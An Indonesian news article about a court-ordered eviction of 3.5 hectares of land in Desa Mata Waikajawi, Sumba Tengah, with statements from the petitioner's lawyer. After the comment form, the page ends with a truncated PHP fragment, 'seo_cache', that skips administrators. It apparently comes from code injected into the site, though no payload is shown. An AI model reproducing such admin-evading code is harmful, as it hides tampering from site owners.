Hukum

Eksekusi Lahan 3,5 Hektar di Desa Mata Waikajawi Sumba Tengah Berjalan Lancar

×

Eksekusi Lahan 3,5 Hektar di Desa Mata Waikajawi Sumba Tengah Berjalan Lancar

Sebarkan artikel ini

WAIBAKUL, MENARASUMBA.COM – Pelaksanaan eksekusi lahan di Desa Mata Waikajawi, Kecamatan Umbu Ratu Nggay Barat, Kabupaten Sumba Tengah berjalan lancar dan aman.

Jurusita Pengadilan Negeri Waikabubak, Yansye Margaritha Adoe, SH sedang membacakan surat perintah eksekusi didampingi advokat Semianda Umbu Kabalu, SH, MH (kiri/baju kotak-kotak) selaku kuasa hukum pemohon.

Eksekusi pada Kamis (24/07/2025) yang dipimpin Yansye Margaritha Adoe, SH sebagai Jurusita ini dilakukan atas perintah Ketua Pengadilan Negeri Waikabubak.

Proses eksekusi yang dikawal personil Polres Sumba Barat dan Brimob Batalyon C Sumba Tengah ini dihadiri kuasa hukum pemohon eksekusi Advokat Semianda Umbu Kabalu, SH, MH.

Sedangkan pihak pemohon eksekusi atas lahan seluas 3,5 hektar adalah Agustinus Kedju Wela dengan pihak termohon eksekusi yakni Noh Dawa Aras dan Thomas Umbu Lobu.

Pelaksanaan eksekusi ini sebagai tindak lanjut dari putusan pengadilan yang telah memiliki kekuatan hukum tetap atau inkrah.

Dalam penjelasannya, selaku kuasa hukum pemohon, advokat Semianda Umbu Kabalu menjelaskan bahwa perkara ini telah bergulir sejak tahun 2020.

“Diawali dari tingkat Pengadilan Negeri Waikabubak, banding pada Pengadilan Tinggi Kupang, hingga kasasi dan peninjauan kembali di tingkat Mahkamah Agung,” jelasnya.

Dalam semua tahapan proses peradilan tersebut, sebut Semianda, kliennya yang bertindak sebagai penggugat selalu memenangkan perkara gugatan ini.

Lebih lanjut pengacara muda dari Kantor Advokat Peradi Sumba Tengah ini menjelaskan, pengosongan lahan dilakukan berdasarkan Penetapan Ketua Pengadilan Negeri Waikabubak Nomor : 1/Pdt.Eks/2025/PN Wkb jo 9/Pdt.G/2020/PN Wkb, tanggal 16 Juli 2025.

“Karena itu atas putusan yang sudah berkekuatan hukum tetap hari ini Ketua Pengadilan Negeri Waikabubak, melalui Panitera Pengadilan Negeri Waikabubak melaksanakan putusan yang sudah inkrah tersebut,” imbuh Semianda.

Sebagai kuasa hukum pihaknya menyampaikan permohonan maaf kepada pihak pihak yang tidak menerima pelaksanaan eksekusi ini.

“Semua dilakukan semata-mata untuk menjamin penegakan hukum, kepastian hukum, dan keadilan,” tandasnya. ( URN/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>